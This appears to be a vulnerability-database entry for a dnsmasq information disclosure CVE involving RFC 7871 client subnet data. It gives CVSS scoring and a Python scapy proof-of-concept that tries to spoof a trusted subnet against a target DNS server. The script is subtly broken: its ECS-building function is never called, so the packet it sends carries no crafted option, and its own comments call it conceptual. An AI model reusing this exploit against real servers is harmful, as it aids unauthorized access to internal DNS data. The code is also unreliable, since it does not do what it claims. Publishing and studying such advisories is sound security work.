An information disclosure vulnerability in dnsmasq allows remote attackers to bypass source checks via a crafted DNS packet with RFC 7871 client subnet information.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
dnsmasq < 2.90 (具体受影响版本请参考厂商安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-4893: dnsmasq Information Disclosure via RFC 7871
# This script demonstrates sending a crafted DNS query with a spoofed Client Subnet (ECS) option.
from scapy.all import *
import socket
TARGET_DNS = "192.168.1.1" # Replace with the target dnsmasq server IP
DOMAIN_TO_QUERY = "internal.local"
SPOOFED_SUBNET = "10.0.0.0" # The trusted subnet we want to impersonate
def build_ecs_option(subnet):
# Construct the EDNS0 Client Subnet (ECS) option (Option Code 8)
# FAMILY: IPv4 (1), SOURCE PREFIX LENGTH: 24, SCOPE PREFIX LENGTH: 0
# ADDRESS: The spoofed subnet
addr_bytes = socket.inet_aton(subnet)
# Truncate to prefix length if necessary (simplified here)
option_data = bytes([0, 1, 24, 0]) + addr_bytes[:3]
return DNSRROPT(rdata=option_data)
def send_exploit():
# Build DNS layer with query
dns_query = DNS(rd=1, qd=DNSQR(qtype='A', qname=DOMAIN_TO_QUERY))
# Build EDNS0 layer with the crafted ECS option
# Note: Scapy handling of arbitrary options might require specific construction
# This is a conceptual representation of the payload structure.
# Construct IP/UDP layers
packet = IP(dst=TARGET_DNS) / UDP(dport=53) / dns_query
print(f"[*] Sending crafted DNS packet to {TARGET_DNS} with spoofed ECS: {SPOOFED_SUBNET}")
# Send packet and wait for response
response = sr1(packet, timeout=2, verbose=0)
if response:
print("[+] Received response:")
response.show()
else:
print("[-] No response received.")
if __name__ == "__main__":
send_exploit()